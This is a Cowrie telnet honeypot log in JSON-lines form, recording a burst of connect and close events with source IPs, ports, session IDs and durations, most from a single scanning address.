{"eventid":"cowrie.session.closed","duration":30.757017374038696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.445159Z","src_ip":"104.167.8.156","session":"387b2de955ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.553677558898926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.457345Z","src_ip":"104.167.8.156","session":"2706a487866e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a49289c6c377","protocol":"telnet","message":"New connection: 104.167.8.156:55630 (10.17.0.5:23) [session: a49289c6c377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.511554Z"}
{"eventid":"cowrie.session.closed","duration":31.37077307701111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.559954Z","src_ip":"104.167.8.156","session":"0f0ec0f40e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22347617149353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.583417Z","src_ip":"104.167.8.156","session":"00280480f5af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34204077720642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.019808Z","src_ip":"104.167.8.156","session":"b98ea7e1998b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53780,"dst_ip":"10.17.0.5","dst_port":23,"session":"4276ebe03b9d","protocol":"telnet","message":"New connection: 104.167.8.156:53780 (10.17.0.5:23) [session: 4276ebe03b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.068682Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2332de2b71cd","protocol":"telnet","message":"New connection: 104.167.8.156:58126 (10.17.0.5:23) [session: 2332de2b71cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.130555Z"}
{"eventid":"cowrie.session.closed","duration":30.71623730659485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.145275Z","src_ip":"98.70.41.28","session":"4c582aeaa95c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19693112373352,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.197703Z","src_ip":"104.167.8.156","session":"0ada345420ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4d480eca423","protocol":"telnet","message":"New connection: 104.167.8.156:58544 (10.17.0.5:23) [session: e4d480eca423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.233391Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48198,"dst_ip":"10.17.0.5","dst_port":23,"session":"c21349688a07","protocol":"telnet","message":"New connection: 104.167.8.156:48198 (10.17.0.5:23) [session: c21349688a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.456625Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55498,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47ce6e2840d","protocol":"telnet","message":"New connection: 104.167.8.156:55498 (10.17.0.5:23) [session: c47ce6e2840d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.478624Z"}
{"eventid":"cowrie.session.closed","duration":31.26405906677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.560311Z","src_ip":"104.167.8.156","session":"30fda66a7e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":44520,"dst_ip":"10.17.0.5","dst_port":23,"session":"021a62043c5d","protocol":"telnet","message":"New connection: 108.61.251.217:44520 (10.17.0.5:23) [session: 021a62043c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.643362Z"}
{"eventid":"cowrie.session.closed","duration":31.668115377426147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.830213Z","src_ip":"104.167.8.156","session":"ebade5465487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33058,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da7ee34c0bc","protocol":"telnet","message":"New connection: 104.167.8.156:33058 (10.17.0.5:23) [session: 7da7ee34c0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.888836Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49766,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1135122cc9","protocol":"telnet","message":"New connection: 104.167.8.156:49766 (10.17.0.5:23) [session: aa1135122cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:21.940301Z"}
{"eventid":"cowrie.session.closed","duration":30.92157006263733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.040442Z","src_ip":"104.167.8.156","session":"6a6b8c126c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84433078765869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.045296Z","src_ip":"104.167.8.156","session":"87c216b33df3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57852,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad538699945a","protocol":"telnet","message":"New connection: 104.167.8.156:57852 (10.17.0.5:23) [session: ad538699945a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.051243Z"}
{"eventid":"cowrie.session.closed","duration":30.4629065990448,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.155587Z","src_ip":"104.167.8.156","session":"c1c9aa68d97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.319672107696533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.323723Z","src_ip":"104.167.8.156","session":"c3e37db414f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":36236,"dst_ip":"159.203.135.109","dst_port":23,"session":"95173118a3aa","protocol":"telnet","message":"New connection: 98.70.41.28:36236 (159.203.135.109:23) [session: 95173118a3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.486839Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51914,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6b0452e790","protocol":"telnet","message":"New connection: 104.167.8.156:51914 (10.17.0.5:23) [session: 2d6b0452e790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.512640Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":36246,"dst_ip":"159.203.135.109","dst_port":23,"session":"727677333e38","protocol":"telnet","message":"New connection: 98.70.41.28:36246 (159.203.135.109:23) [session: 727677333e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.736633Z"}
{"eventid":"cowrie.session.closed","duration":31.53147840499878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.747934Z","src_ip":"104.167.8.156","session":"718e19ba1ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33462619781494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:22.877326Z","src_ip":"104.167.8.156","session":"f97c53e39690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.487346410751343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.032254Z","src_ip":"104.167.8.156","session":"edc752aa2f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84621262550354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.118803Z","src_ip":"108.61.251.217","session":"512ea8a3a7b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072447776794434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.265484Z","src_ip":"108.61.251.217","session":"14cfde6c2cf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313899755477905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.278420Z","src_ip":"108.61.251.217","session":"71398e1fc594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11007070541382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.298107Z","src_ip":"108.61.251.217","session":"4a732c04b79e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34728,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8893e7d728","protocol":"telnet","message":"New connection: 104.167.8.156:34728 (10.17.0.5:23) [session: 3b8893e7d728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.312414Z"}
{"eventid":"cowrie.session.closed","duration":49.37678670883179,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.434753Z","src_ip":"188.208.141.113","session":"4e4a3dff6ac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68829131126404,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.441259Z","src_ip":"64.227.9.242","session":"3a9335c52026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1235ce749289","protocol":"telnet","message":"New connection: 104.167.8.156:39468 (10.17.0.5:23) [session: 1235ce749289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.559101Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40066,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9669eb01319","protocol":"telnet","message":"New connection: 104.167.8.156:40066 (10.17.0.5:23) [session: a9669eb01319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.703288Z"}
{"eventid":"cowrie.session.closed","duration":31.126456260681152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.757137Z","src_ip":"104.167.8.156","session":"236ef226a04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40354,"dst_ip":"10.17.0.5","dst_port":23,"session":"721a5caf312f","protocol":"telnet","message":"New connection: 104.167.8.156:40354 (10.17.0.5:23) [session: 721a5caf312f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.782036Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40492,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27cda64a208","protocol":"telnet","message":"New connection: 104.167.8.156:40492 (10.17.0.5:23) [session: b27cda64a208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:23.815005Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37264,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94fd3b1281c","protocol":"telnet","message":"New connection: 104.167.8.156:37264 (10.17.0.5:23) [session: f94fd3b1281c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.000834Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41602,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f97621e126","protocol":"telnet","message":"New connection: 104.167.8.156:41602 (10.17.0.5:23) [session: 02f97621e126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.077562Z"}
{"eventid":"cowrie.session.closed","duration":30.154638290405273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.093000Z","src_ip":"104.167.8.156","session":"878277c9ea9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56186270713806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.102576Z","src_ip":"108.61.251.217","session":"097f388027cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181821823120117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.186457Z","src_ip":"104.167.8.156","session":"401a28252c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747025966644287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.205526Z","src_ip":"108.61.251.217","session":"0f6ef94c9056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42650,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d74277e7bb4","protocol":"telnet","message":"New connection: 104.167.8.156:42650 (10.17.0.5:23) [session: 5d74277e7bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.299275Z"}
{"eventid":"cowrie.session.closed","duration":31.18641757965088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.463475Z","src_ip":"104.167.8.156","session":"ee8284c5e116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":56456,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f7d77f66ed5","protocol":"telnet","message":"New connection: 64.227.9.242:56456 (159.203.135.109:23) [session: 7f7d77f66ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.485913Z"}
{"eventid":"cowrie.session.closed","duration":31.4207444190979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.536136Z","src_ip":"104.167.8.156","session":"353ab6369b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"e308e73c4d2d","protocol":"telnet","message":"New connection: 104.167.8.156:44066 (10.17.0.5:23) [session: e308e73c4d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.632795Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44394,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a121be1ad26","protocol":"telnet","message":"New connection: 104.167.8.156:44394 (10.17.0.5:23) [session: 5a121be1ad26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.710783Z"}
{"eventid":"cowrie.session.closed","duration":31.197087049484253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:24.973012Z","src_ip":"104.167.8.156","session":"bac254ad4cd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45280361175537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.003607Z","src_ip":"108.61.251.217","session":"acc95410ff9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33564,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fcae10d15d3","protocol":"telnet","message":"New connection: 104.167.8.156:33564 (10.17.0.5:23) [session: 4fcae10d15d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.016947Z"}
{"eventid":"cowrie.session.closed","duration":30.14071273803711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.101343Z","src_ip":"104.167.8.156","session":"1bfe7d0cf05d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"760a86615006","protocol":"telnet","message":"New connection: 104.167.8.156:45856 (10.17.0.5:23) [session: 760a86615006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.106575Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34102,"dst_ip":"10.17.0.5","dst_port":23,"session":"623bd62a1c02","protocol":"telnet","message":"New connection: 104.167.8.156:34102 (10.17.0.5:23) [session: 623bd62a1c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.161216Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9e909c3aa2c","protocol":"telnet","message":"New connection: 104.167.8.156:34182 (10.17.0.5:23) [session: d9e909c3aa2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.177005Z"}
{"eventid":"cowrie.session.closed","duration":30.36157989501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.183599Z","src_ip":"104.167.8.156","session":"36343a7410e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77848196029663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.239322Z","src_ip":"104.167.8.156","session":"d5a3bf841962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42392,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cba30c086af","protocol":"telnet","message":"New connection: 104.167.8.156:42392 (10.17.0.5:23) [session: 2cba30c086af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.248804Z"}
{"eventid":"cowrie.session.closed","duration":30.698156595230103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.324139Z","src_ip":"104.167.8.156","session":"0e4b3f038c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47210,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f0bd27113d","protocol":"telnet","message":"New connection: 104.167.8.156:47210 (10.17.0.5:23) [session: 47f0bd27113d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.410436Z"}
{"eventid":"cowrie.session.closed","duration":30.617067337036133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.432612Z","src_ip":"104.167.8.156","session":"995f6f94f3ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611293077468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.449184Z","src_ip":"108.61.251.217","session":"67a50c02b649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47582,"dst_ip":"10.17.0.5","dst_port":23,"session":"a07e89978d13","protocol":"telnet","message":"New connection: 104.167.8.156:47582 (10.17.0.5:23) [session: a07e89978d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.499874Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47612,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ac57e76790","protocol":"telnet","message":"New connection: 104.167.8.156:47612 (10.17.0.5:23) [session: 62ac57e76790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.512263Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47924,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6664c31ff2","protocol":"telnet","message":"New connection: 104.167.8.156:47924 (10.17.0.5:23) [session: bf6664c31ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.605745Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48318,"dst_ip":"10.17.0.5","dst_port":23,"session":"c592a0b5ecd9","protocol":"telnet","message":"New connection: 104.167.8.156:48318 (10.17.0.5:23) [session: c592a0b5ecd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.710771Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c328457207a","protocol":"telnet","message":"New connection: 108.61.251.217:57022 (10.17.0.5:23) [session: 0c328457207a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.766694Z"}
{"eventid":"cowrie.session.closed","duration":31.74230718612671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.819844Z","src_ip":"104.167.8.156","session":"e3368cd68f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85738444328308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:25.911906Z","src_ip":"104.167.8.156","session":"fccd42cd6b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.252820253372192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.030173Z","src_ip":"104.167.8.156","session":"649dd13a57d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49734,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce0545c89d43","protocol":"telnet","message":"New connection: 104.167.8.156:49734 (10.17.0.5:23) [session: ce0545c89d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.115655Z"}
{"eventid":"cowrie.session.closed","duration":30.870326042175293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.326186Z","src_ip":"104.167.8.156","session":"eeebfed8a5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982805728912354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.376013Z","src_ip":"104.167.8.156","session":"4db6576f7f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818591833114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.568962Z","src_ip":"104.167.8.156","session":"19e790f98b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911166667938232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.588068Z","src_ip":"104.167.8.156","session":"3ca442d735f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52880,"dst_ip":"10.17.0.5","dst_port":23,"session":"79d5ca1dd5d6","protocol":"telnet","message":"New connection: 104.167.8.156:52880 (10.17.0.5:23) [session: 79d5ca1dd5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.865489Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53162,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbc891a5bd1f","protocol":"telnet","message":"New connection: 104.167.8.156:53162 (10.17.0.5:23) [session: fbc891a5bd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.931100Z"}
{"eventid":"cowrie.session.closed","duration":31.912325620651245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:26.934720Z","src_ip":"104.167.8.156","session":"a47664adc5da","protocol":"telnet"}
